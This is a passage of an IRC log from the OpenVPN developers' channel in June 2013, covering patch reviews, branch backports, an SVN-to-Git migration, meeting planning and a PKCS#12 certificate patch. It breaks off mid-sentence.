And I ripped out just a bit of the intro text that didn't apply 14:17 <@mattock> yep, I recall that issue 14:45 -!- mattock is now known as mattock_afk 14:47 <@dazo> syzzer: can you do a public ACK on the mailing list on the patch from Tamas? 16:29 -!- dazo is now known as dazo_afk 18:36 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 18:48 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:21 -!- raidz is now known as raidz_away 22:38 <+pekster> mattock_afk: If you could also update the OpenVPN-GUI link on the howto (at http://openvpn.net/index.php/open-source/documentation/howto.html ) under the sub-section labeled "Windows notes" that'd be great 22:38 <@vpnHelper> Title: HOWTO (at openvpn.net) 22:39 <+pekster> Dunno if we still want the ugly list of "alternatives", but I'll let you figure that out 22:40 <+pekster> Oh, we probably don't need that, at least not in the howto because your updated GUI page already links to them --- Day changed Tue Jun 11 2013 01:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 01:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:49 -!- dazo_afk is now known as dazo 02:02 -!- mattock_afk is now known as mattock 02:02 <@mattock> pekster: ok 02:03 <@mattock> on my todo 02:12 < syzzer> dazo: done. wasn't sure whether I had 'ACK privileges' 02:20 <@cron2_> syzzer: if we trist your crypto code, we better trust your judgement as well :-) 02:21 <@cron2_> and it's your code that is patched... 03:07 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-21-summary 03:07 <@vpnHelper> Title: OpenVPN2013-week-21-summary – OpenVPN Community (at community.openvpn.net) 03:07 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-22-summary 03:07 <@vpnHelper> Title: OpenVPN2013-week-22-summary – OpenVPN Community (at community.openvpn.net) 03:07 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN2013-week-23-summary 03:07 <@vpnHelper> Title: OpenVPN2013-week-23-summary – OpenVPN Community (at community.openvpn.net) 03:07 <@mattock> I'm so quick in writing these, only 3 weeks late... uh 03:08 <@mattock> :D 03:08 <@mattock> interestingly, nothing interesting happened on week 21 03:28 <@cron2_> everybody was away...? 03:46 <@dazo> syzzer: everyone have ACK privileges on the ML ... if cron2_ and I agree to the ACKs, that's a different issue ;-) But as cron2_ said, it's your (Fox-IT's) code, so we'd better trust your judgement here :) 04:12 < syzzer> cron2_, dazo: ah, okay :) 04:38 <@cron2_> yeah, indeed, there have been delayed-NAKs when we noticed later that an already-acked patch broke things... 04:38 <@cron2_> but that is rare 06:02 <@plaisthos> Can someone here read my first FAQ entry ("I don't like you, commerical VPN provider!") and tell what you think? If my messages comes across? 06:02 <@plaisthos> http://code.google.com/p/ics-openvpn/source/browse/doc/README.txt 06:02 <@vpnHelper> Title: README.txt - ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 06:21 <@dazo> plaisthos: I think that's fair enough .... Open Source is freedom of the source .... not gratis support 06:36 <@plaisthos> dazo: thanks for cross reading 06:41 <@dazo> sure, no prob! 09:58 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 260 seconds] 10:18 -!- raidz_away is now known as raidz 10:19 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 12:01 <@dazo> whoops ... my modified ack script misbehaved a bit ... :-P 12:30 <+krzee> plaisthos, looks good to me 12:39 <@dazo> [OT] https://www.youtube.com/watch?v=cqggW08BWO0 12:39 <@vpnHelper> Title: Facebook CIA Project: The Onion News Network - YouTube (at www.youtube.com) 12:41 <@plaisthos> krzee: tahnk you too 12:41 <+krzee> np 14:11 -!- dazo is now known as dazo_afk 15:48 -!- mattock is now known as mattock_afk 18:25 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 18:40 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 18:41 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:31 -!- raidz is now known as raidz_away --- Day changed Wed Jun 12 2013 01:49 <@cron2_> dazo: haha, this is why I always double-check the reply message :-) 03:34 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 03:37 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:37 -!- dazo_afk is now known as dazo 03:40 <@dazo> cron2_: yeah, that slipped my eyes actually ... If I had looked more carefully on my terminal, I would have seen it :-P 04:11 <@dazo> plaisthos: https://docs.google.com/file/d/0B9kMcH4AlEi5TktRRzYwc3JQcWM/edit?pli=1 .... is --client-cert-not-required supported in your Android client? 04:11 <@vpnHelper> Title: ICS OpenVPN logovací soubor - Google Drive (at docs.google.com) 04:11 <@cron2_> dazo, syzzer: what do you think about including the last two patches into 2.3? To me this is "somewhat of a bugfix" as it restores missing functionality, so should go into 2.3 - and I only keep "large and possibly intrusive new features" to master 04:11 <@dazo> I think we can pull it into release/2.3 04:12 <@dazo> I'm even willing to call it a bug fix :) 04:12 <@cron2_> this is why I'm asking, I was a bit surprised that you didn't do it right away - so maybe we need to sync our policies regarding "what goes into 2.3" a bit more (->meeting topic) :-) 04:14 <@dazo> tbh ... I haven't offered 2.3 much thoughts at all, so that's why it slipped my mind 04:14 <@cron2_> ah 04:14 <@dazo> plaisthos: never mind ... the user solved it :) 05:05 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 252 seconds] 05:17 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 05:27 <@plaisthos> dazo: yeah. I don't get why users don't get that 05:28 <@plaisthos> there is a vpn type drop down box in the basic settings where you can select Android certficates/certificates+user/pw/pks12 and so on 05:28 <@plaisthos> And I get questions if user/password without certificates is supported :( 05:29 <@plaisthos> dazo: and my app does not support --client-cert-not-required 05:30 <@dazo> plaisthos: well, actually my user figured it out ... but maybe he hadded --client-cert-not-required in the "advanced options" input box? 05:30 <@plaisthos> probably 05:31 <@plaisthos> I have to look in the source but I bet there is an #if P2MP_SERVER around client-cert-not-required 05:33 <@dazo> hmmm ... it is ... but that's just enabling a msg() call 05:33 <@dazo> for the server side 05:33 <@dazo> ssl_openssl.c:187 05:34 <@dazo> that's where it is really used .... otherwise, it just disables the requirement of --cert and --key in options.c 05:36 <@dazo> oh right 05:40 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 05:52 <@plaisthos> I think the client just checks if at least auth-user-pass or pkcs12/clientcert/key is specified 06:47 < syzzer> cron2_: I too think these patches should be fine to include in 2.3 06:47 < syzzer> kind of expected that actually 07:18 -!- mattock_afk is now known as mattock 10:17 -!- raidz_away is now known as raidz 11:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:01 * dazo wonders if he missed something here .... 11:02 <@dazo> (My IPv6 tunnel stopped working .... and didn't have any IPv4 hosts configured in ZNC) 12:27 <@cron2_> dazo: syzzer expressed support for having the stuff in 2.3 as well, nothing else 12:27 <@dazo> ahh, okay ... I can cherry pick it 12:42 <@dazo> pushed out 12:51 <@cron2_> oh, nice, you ACK-and-commited my documentation fix, I had nearly forgotten about that one 12:58 <@dazo> I thought I had to do that to get attention to a couple of my patches as well :-P 13:05 <@cron2_> for the last two(-ish) weeks, it was my turn to be extremely busy - was speaking at two different IPv6 conferences, and actually had to research the topics beforehand (gasp!) and create talks that fulfill my own quality requirements... 13:05 <@dazo> :) 13:05 <@cron2_> year by year I forget how much work that is - 30 minutes talk, about 10 hours of research, and 10 hours of powerpointing this time... 13:06 <@dazo> powerpointing is the most boring time too, at least for me 13:07 <@cron2_> well, it's all networking stuff, so I like to visualize what happens, and I need pictures and animations for that... I actually like it (a few times a year) but it's not unusual to spend 1 hour for a single slide... 13:08 <@cron2_> but anyway, talk duty done until September (and *that* will be a re-use as it's a completely different audience, so no big deal) :-) - work through my backlog, your patches among them. And some from plaisthos. 13:08 <@dazo> I've began to look through a few of the very old ones ... but not had time to really "understand" them yet 13:09 <@cron2_> ... and then there's some 100 tickets to clean up, fix, apply, or close... 13:09 <@dazo> yeah 13:10 <@dazo> Someone showed up and had some real interest in the eurephia project as well ... so I need to spend some time there too (but that's needed now also, been lingering too long) 13:11 <@cron2_> oh, yeah, and I spoke to Tore yesterday and he still complains that there is no IPv6 in OpenVPN when used with NetworkManager... 13:12 <@dazo> still!? okay ... I need to upgrade my Fedora installations then ... and see if I can do something there .... even though, I was hoping to use d12fk "service pipe" stuff for that actually, to make the gap between the NM and Windows somewhat smaller 13:14 <@dazo> soooo many fun projects to play with .... and sooo little time for it .... :/ 13:14 <@cron2_> ohyeah :-) - well, I have no idea which version Tore was using, but since he's one of the leading IPv6 guys in Norway, I accept that statement without double-checking 13:14 <@dazo> what's his last name? 13:15 <@cron2_> Anderson 13:15 <@dazo> just too common last name and first name 13:16 <@cron2_> oh, well, he's *the* IPv6 guy in Norway :-) - http://www.ipv6conference.ch/sessions/, last talk in the tech track (lower right side), slides already online 13:17 <@cron2_> http://toreanderson.no/ 13:17 <@vpnHelper> Title: Tore Anderson (at toreanderson.no) 13:17 <@dazo> Ahh, Redpil Linpro :) 13:17 * dazo brb 13:28 * dazo need to run 13:29 -!- dazo is now known as dazo_afk 15:50 <@plaisthos> wow james submitting patches using git 15:52 <@mattock> wft? :D 15:52 <@cron2_> yeah, I'm quite happy - we nearly had the project forked (without meaning to) and this means we're getting both sides closer together again 15:52 <@mattock> hmm, I definitely need to remember to put the latest C++ code to GitHub 15:53 <@mattock> or rather, "finally put the C++ codebase to GitHub as I promised a long time ago" 15:54 <@plaisthos> mattock: :) 15:54 -!- mattock is now known as mattock_afk 15:58 <@plaisthos> mattock: if there is an official c++ codebase release I can finally release the OpenVPN 3 core enabled version of my client 19:48 -!- raidz is now known as raidz_away 22:18 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 245 seconds] --- Day changed Thu Jun 13 2013 02:17 -!- dazo_afk is now known as dazo 02:29 -!- mattock_afk is now known as mattock 03:26 <@mattock> plaisthos: I'll ask james to generate "yet another openvpn 2.3 tarball" today 03:27 <@mattock> and I'll put it to GitHub then 03:29 <@cron2_> 3.0, please :) 03:29 <@dazo> hehehe 03:30 <@dazo> mattock: why can't james just do git init && git add . && git commit -s .... and then set up a remote and push it out? 03:49 <@plaisthos> that would make life of people grabbing ics-openvpn and modifying it without reading the license even more miserable 03:50 <@plaisthos> (OpenVPN 3 core is used as library and not as seperate process) 04:12 <@mattock> dazo: afaik the 3.0 code is still in SVN in the same repo as James' other stuff (e.g. AS code) 04:12 <@dazo> :( 04:12 <@mattock> so we'd need to completely decouple James from SVN for 3.0 04:12 <@mattock> then he could do the git init stuff cleanly 04:13 <@mattock> I'll mail him and ask if he could move 3.0 outside the SVN repo and start using Git for that 04:13 <@dazo> anyhow ... he could still do git init+++ *inside* the svn branch he does this work on .... (I understood the history for 3.0 wasn't that important) 04:13 <@mattock> ah, interesting 04:13 <@dazo> and when having done that ... he could just clone the git tree again, and continue working outside svn 04:13 <@mattock> where does svn store the metadata? 04:14 <@mattock> i.e. do the Git metadata get caught by SVN change tracking? 04:14 <@dazo> remeber that git keeps everything inside the .git directory ... while SVN is spread across plenty of SVN directories .... so yeah, you need to avoid pulling those into the git import 04:14 <@dazo> you can tell SVN to ignore the .git directory ... but playing with both in parallel will probably be a disaster 04:15 <@dazo> if the intention is to migrate to git .... it's time to cut the crap and just do it 04:15 <@mattock> yeah, I agree 04:16 <@mattock> with the last comment :) 04:16 <@mattock> btw. James was asking if we could review his 4 patches in the next meeting 04:17 <@mattock> when could we muster enough devs for a proper meeting? 04:17 <@dazo> sure! Esp. if he could find time to review some of the patches on the ML too ;-) 04:17 <@plaisthos> mattock: the two of the OpenVPN versioning mail and which other ones? 04:17 <@mattock> do we have a list of unreviewed patches? 04:17 <@dazo> next week, I think cron2_, plaisthos and I agreed on (I'm busy today) 04:18 <@mattock> these: https://github.com/jamesyonan/openvpn/commits/2.3.2-mods 04:18 <@vpnHelper> Title: Commit History · jamesyonan/openvpn · GitHub (at github.com) 04:18 <@mattock> ok, next week is fine 04:18 <@dazo> mattock: no, probably not .... but it's enough to start poking at the ML ... ACKed patches are easily spotted there now, if you use a thread view 04:19 <@plaisthos> mattock: yeah to the "Minor fix to process_ipv4_header so that any combination of options" I already gave sort of a NAK 04:19 <@plaisthos> mattock: and sent a fixed version to ML 04:19 <@plaisthos> the remote-overide is already ACK'ed 04:20 <@mattock> I'll setup a preliminary agenda page to Trac, you guys can add links there as you find unreviewed stuff 04:20 <@cron2_> mattocK: meeting next week sounds like what we had in mind 04:21 <@cron2_> plaisthos: you ACKed it, but dazo raised a big fuzz about it in the meeting and spent 60+ minutes argueing with James, so I'm waiting for a final decision on that 04:21 <@plaisthos> cron2_: yeah I remember 04:21 <@dazo> I sent my view to the ML list too 04:22 <@dazo> on that patch 04:22 <@dazo> (the other day) 04:26 <@mattock> dazo: if I recall correctly, you said something like "if AS really needs this, let it go in" 04:27 <@cron2_> anyway, this wasn't overly high on my prio list (AS server does not needs it, but connect clients use it and they are still on 2.1), but now it's moved up again, so we'll sort this out one way or the other 04:28 <@plaisthos> I am thinking of implementing --preresolve 04:29 <@plaisthos> to resolve all --remotes before being connected to a VPN makes things go wrong with DNS 04:30 <@plaisthos> and have --preresolve hostnmae as an optino to preresolve all using the same hostname 04:31 <@plaisthos> to get rid of the stupid --remote-ip-hint 04:31 <@plaisthos> maybe there is a good way to fix --remote-overide as well 04:32 <@mattock> cron2: what's the integration status of the SVN-only patchset? 04:33 <@cron2_> mattock: the large bits are in (snappy, push-peer-info), the remaining two are those that we have been discussing the last minutes :) 04:33 <@mattock> ok, good 04:34 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2013-06-20 04:34 <@vpnHelper> Title: Topics-2013-06-20 – OpenVPN Community (at community.openvpn.net) 04:34 <@mattock> I'll add a note about James' high-level suggestions (those he sent to openvpn-devel) 04:37 <@mattock> done 04:38 <@plaisthos> mattock: what about other undecided patches from me? 04:38 <@plaisthos> at least with lower priority? 04:39 <@cron2_> +1 04:42 <@plaisthos> I will just copy them from the last meeting 04:46 <@mattock> plaisthos: sounds good! 04:47 <@mattock> I always lost track of which patches are reviewed and which are not, so please don't hesitate to put them on to the agenda 04:47 <@mattock> asked James to put 3.0 on Github 04:47 <@mattock> as he has proven he can use Git and GitHub, he's running out of excuses :D 05:39 <@plaisthos> mattock: :) 07:33 -!- mattock is now known as mattock_afk 07:59 -!- mattock_afk is now known as mattock 08:37 -!- dazo is now known as dazo_afk 08:57 <@plaisthos> What does OpenVPN client do with packets that have the wrong sender ip? 08:57 <@plaisthos> simply send them to the server? 08:58 <@cron2_> the client doesn't look at the packets in any way 08:58 <@cron2_> what comes in from tun goes to socket, and vice versa 08:58 <@cron2_> (so peer2peer tun always worked with IPv6...) 08:58 <@plaisthos> I wondering where the best place is to implement a "RST"/ICMP unreachable function 08:58 <@plaisthos> cron2_: ah thanks 08:59 <@cron2_> there is code that sniffs for DHCP packets... 08:59 <@plaisthos> cron2_: I know that code path seems to be *very* broken 08:59 <@cron2_> yeah, that's the one with the flag word which is broken :-) - but that would be the natural place, I'd say 08:59 <@plaisthos> there are not sanity checks 09:00 <@plaisthos> I was more wondering about "Implmenting in client" vs implementing in the server thing 09:24 <@cron2_> the server currently does checks in the MULTI code, and will (afair) silently drop packets with the wrong source 09:25 <@cron2_> IPv6 link locals (fe80:...) trigger this for some client platforms all the time 10:20 -!- raidz_away is now known as raidz 14:29 <+pekster> dazo_afk: Actually, modern Subversion keeps everything in a top-level .svn dir. Not saying it's better than git, just that it's gone through some growing pains too ;) 14:42 <@ecrist> 1.7+ 14:43 -ChanServ:#openvpn-devel- ecrist set flags +Orstv on pekster. 14:44 -!- mode/#openvpn-devel [+o pekster] by ChanServ 14:45 <+krzee> o/ 14:45 <@pekster> Down with all the trolls that dare enter this channel 14:45 -!- mode/#openvpn-devel [-v pekster] by ChanServ 14:45 <+krzee> haha 14:45 -!- mode/#openvpn-devel [-o pekster] by ChanServ 14:45 -!- mode/#openvpn-devel [+v pekster] by ChanServ 14:45 * pekster pockets that for later 14:47 <@ecrist> here, it's not so much for authority, more so folks who enter recognize you as someone who's part of the team 14:48 <+pekster> Ah, sure (probably more useful here than in #openvpn) 14:48 <@ecrist> in #openvpn it's certainly more warning for those worthy of a banhammer 15:07 -!- mattock is now known as mattock_afk 20:04 -!- raidz is now known as raidz_away --- Day changed Fri Jun 14 2013 01:39 -!- dazo_afk is now known as dazo 01:46 <@dazo> pekster: ahh, I didn't know that ... but I'll grant you it's ages since I've used "core" SVN .... I've used git-svn instead :) 01:56 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 01:56 <@d12fk> dazo: the service pipe stuff was nearly ready, but then project 01:57 <@d12fk> reveresed the winxp ipv6 routing code, that was fun 01:57 <@dazo> ugh 01:58 <@d12fk> would cron2_maybe interested in testing the half baked patches out with ipv6. i won't have the time in the next weeks and i really think it's time for this 01:58 <@d12fk> lookin at the upcoming 2.4 01:58 <@dazo> yeah, would make sense for 2.4 indeed 02:33 <@cron2_> d12fk: can't promise anything, but in general, yes we should move there 09:14 -!- mode/#openvpn-devel [+o pekster] by ChanServ 09:14 -!- mode/#openvpn-devel [-v pekster] by ChanServ 10:47 -!- Netsplit *.net <-> *.split quits: @plaisthos, @pekster, waldner 10:47 -!- Netsplit over, joins: pekster 10:47 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:57 -!- d12fk [~heiko@exit0.net] has quit [Excess Flood] 10:57 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:57 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:02 -!- raidz_away is now known as raidz 11:11 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 11:11 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:51 -!- dazo is now known as dazo_afk 14:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 14:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:15 -!- raidz is now known as raidz_away 21:26 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 21:41 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sat Jun 15 2013 18:11 <@plaisthos> if people would just google utun openvpn or so before writing/submitting a pathc :/ --- Day changed Sun Jun 16 2013 02:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 02:15 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:15 -!- mode/#openvpn-devel [+o andj__] by ChanServ 02:15 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 02:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] 02:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds] 02:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 02:16 -!- andj__ is now known as andj 02:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:16 -!- dazo_afk is now known as dazo 02:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:17 -!- MeanderingCode_ is now known as MeanderingCode 04:11 <@vpnHelper> RSS Update - tickets: #303: Reconnect fails with DNS error, when network is switched <https://community.openvpn.net/openvpn/ticket/303> 13:16 <@vpnHelper> RSS Update - tickets: #304: List or indicator of supported tls/ciphers/hashes <https://community.openvpn.net/openvpn/ticket/304> --- Day changed Mon Jun 17 2013 02:36 <@cron2_> so we're having a meeting this week? 02:37 <@cron2_> plaisthos: yeah, full ACK. Sorry to see good brain cycles go waste by duplicating effort (OTOH, this should help reviewing the patches and deciding on something) 02:52 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:24 <@plaisthos> cron2_: I thought so 08:22 -!- mattock_afk is now known as mattock 10:13 -!- raidz_away is now known as raidz 11:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 11:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:43 -!- raidz is now known as raidz_away 12:08 -!- raidz_away is now known as raidz 14:23 -!- dazo is now known as dazo_afk 15:44 -!- mattock is now known as mattock_afk 16:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 16:21 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 16:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:49 < MeanderingCode> plaisthos: are you the developer of ics-openvpn? 18:49 -!- MeanderingCode is now known as MeanderingCode_ 18:49 -!- MeanderingCode_ is now known as MeanderingCode 19:52 -!- raidz is now known as raidz_away 20:30 <+krzee> he is 20:30 <+krzee> of "openvpn for android" 22:27 <@vpnHelper> RSS Update - tickets: #305: configure script fails with static openssl libraries <https://community.openvpn.net/openvpn/ticket/305> 22:36 <@plaisthos> MeanderingCode: yes 22:36 <@plaisthos> krzee: internal name and google code project name is ics-openvpn 22:36 <@plaisthos> in retroperspective probably not the best one ;) --- Day changed Tue Jun 18 2013 01:18 -!- mattock_afk is now known as mattock 01:43 <@plaisthos> I update the utun of mine with one or two things I borrowed from the other patch and fixed some issus I found while comparing both 01:43 <@plaisthos> (Both did not work for tap) 02:28 <@cron2_> mornin' 02:36 <@plaisthos> cron2_: mornin' 02:43 <@mattock> morning 04:27 <@cron2_> plaisthos: I'm not particularily happy having #includes right in the middle of the code - so even if that adds another #ifdef HAVE_NET_IF_UTUN_H, could you move the #include bits up to "where all the other #include's are"? 04:27 <@cron2_> looking at v2 of the patch now... 04:28 <@cron2_> uh, and what's that? 04:28 <@cron2_> (strstr (dev_node, "utun") == dev_node) 04:28 <@cron2_> why not just use strncmp()? 07:07 <@plaisthos> cron2_: yes I can move #includes to the top 07:09 <@plaisthos> cron2_: I can change that strstr to strncmp 07:10 <@plaisthos> I find both hard to read for String a is prefix of b 07:19 <@cron2_> mmmh, I find strncmp() easier to understand ("the first <n> bytes are the same"), but yeah. Maybe we should then do what we always do - follow the existing style (... and I have no idea what is "the existing style") :-) 07:19 <@plaisthos> existing style is strncmp iirc 07:20 <@plaisthos> there was this very confusing use of strncmp with two dynamic string where string a is checked being a prefix of the other 07:35 <@plaisthos> I will change it to the strncmp 08:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 260 seconds] 08:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:06 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 08:17 -!- mattock is now known as mattock_afk 09:34 <@plaisthos> 10:12 -!- raidz_away is now known as raidz 11:18 -!- mattock_afk is now known as mattock 13:22 -!- Netsplit *.net <-> *.split quits: @andj 13:22 -!- Netsplit over, joins: andj 13:22 -!- mode/#openvpn-devel [+o andj] by ChanServ 13:50 -!- mattock is now known as mattock_afk 14:03 -!- mattock_afk is now known as mattock 14:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:32 -!- dazo is now known as dazo_afk 18:42 -!- raidz is now known as raidz_away 18:47 -!- raidz_away is now known as raidz 18:49 -!- raidz is now known as raidz_away 18:54 -!- raidz_away is now known as raidz 18:54 -!- raidz is now known as raidz_away 18:55 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 18:56 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:56 -!- mode/#openvpn-devel [+o raidz] by ChanServ 20:08 -!- raidz is now known as raidz_away --- Day changed Wed Jun 19 2013 01:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out] 01:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 01:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 01:10 -!- waldner [waldner@openvpn/user/waldner] has quit [Read error: Operation timed out] 01:11 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 01:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:12 -!- dazo_afk is now known as dazo 03:39 <@mattock> nice to see james actively discussing nerdy things on openvpn-devel :D 04:59 -!- mattock is now known as mattock_afk 05:03 -!- mattock_afk is now known as mattock 05:49 <@vpnHelper> RSS Update - tickets: #306: --proto udp6 --multihome fails for IPv4-mapped clients <https://community.openvpn.net/openvpn/ticket/306> 08:50 -!- mattock is now known as mattock_afk 10:12 -!- raidz_away is now known as raidz 12:11 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:18 -!- mattock [~yaaic@openvpn/corp/admin/mattock] has quit [Quit: Yaaic - Yet another Android IRC client - http://www.yaaic.org] 13:00 -!- Netsplit *.net <-> *.split quits: +krzee 13:27 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn-devel 13:28 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host] 13:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:02 -!- dazo is now known as dazo_afk 14:34 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn-devel 14:35 < kisom> Any upcomming stable releases within the next few weeks? 14:47 <@ecrist> we just had one - probably not 14:49 <@cron2_> kisom: anything you're missing? 15:36 < kisom> OK, great. 15:36 < kisom> cron2_: Nah, my boss has asked me when we can release some software I'm working on 15:37 < kisom> Just wanted to make sure there were no newer version waiting around the corner. 19:53 -!- raidz is now known as raidz_away --- Day changed Thu Jun 20 2013 01:41 -!- mattock_afk is now known as mattock 02:15 -!- mattock is now known as mattock_afk 02:19 -!- mattock_afk is now known as mattock 02:22 <@mattock> is something missing from the meeting agenda? https://community.openvpn.net/openvpn/wiki/Topics-2013-06-20 02:22 <@vpnHelper> Title: Topics-2013-06-20 – OpenVPN Community (at community.openvpn.net) 02:23 <@mattock> I'll add a mention of the "other" utun patch 02:37 -!- dazo_afk is now known as dazo 02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:01 -!- Hes [GSygmH@tunkki.fi] has joined #openvpn-devel 05:30 <@plaisthos> when does the meeting start today? 05:30 <@plaisthos> 19 CEST? 05:36 <@dazo> That would be a nice time for me 05:36 <@cron2_> announcement was 1800 gmt which is 2000 cest 05:36 * cron2_ can join about 1915 cest 05:37 <@cron2_> depending on the willingness of $daughter[0] to go to sleep without major discussions :) 05:40 <@dazo> ahh, there was an announcement 06:19 -!- mattock is now known as mattock_afk 06:28 < Hes> I'm trying to submit a new variant of the pkcs12 certs patch I submitted for the previous meeting (which didn't take place I suppose) 06:28 <@cron2_> hes: send it to openvpn-devel and poke mattock to link to it :) 06:29 < Hes> Sent already, but sourceforge is being slow :) 06:31 < Hes> ah, greylisting. 06:42 <@plaisthos> I got the email 06:43 < Hes> yup, the initial retry timer just is a bit long, when it meets a greylisting smtp server which always rejects the initial smtp submit attempt. 06:44 <@plaisthos> I think your new approach is much less intrusive and should always do the right thing 06:44 <@plaisthos> I like it 06:46 < Hes> It should be better, unless someone else really wants to load trusted CAs from both PKCS#12 and --ca. 06:48 < Hes> But at least this one meets our use case (amprnet / amateur radio 44/8 VPNs), does not add options, and does not change the trust situation in surprising ways. 07:19 <@dazo> Yeah, much cleaner approach ... I'd still like to have a word from andj, syzzer or james on this one though ... to ensure we don't overlook some ugly authentication issues ... I believe they understand these code paths far better :) 07:24 <@dazo> Hes: just to be sure I understand the issue correct .... the server has a cert issued by a CA which is provided via --ca .... and the client got a certificate issued by a sub-CA, which is embedded in the pkcs#12 file? 07:24 < Hes> Yup, it does touch pretty critical bits. 07:24 <@dazo> --ca ... that is the CA cert is provided here 07:24 < Hes> dazo: Affirmative. 07:25 < Hes> One CA (a third party) has issued a large quantity of personal client certificates, but they do not issue server certificates, and even if they didn't, we might not want to trust them to do that. 07:26 < Hes> So we have a separate CA of our own which is used to sign the VPN server certs. 07:26 <@dazo> right 07:26 * dazo re-reads patch again 07:27 < Hes> The third party also uses an intermediate production sub-CA to sign the client certs. They rotate the intermediate key/cert every now and then, supply the intermediate cert in the PKCS#12 bundle to the clients. 07:27 < Hes> So the server only has their root cert to trust, and the client must provide the intermediate CA cert it got from the PKCS#12. 07:27 < Hes> Which is what this patch enables. 07:33 <@dazo> Hes: Okay, I'll play the devils advocate ... any reason you didn't add this into ssl_polarssl.c too? We generally try to avoid having too big 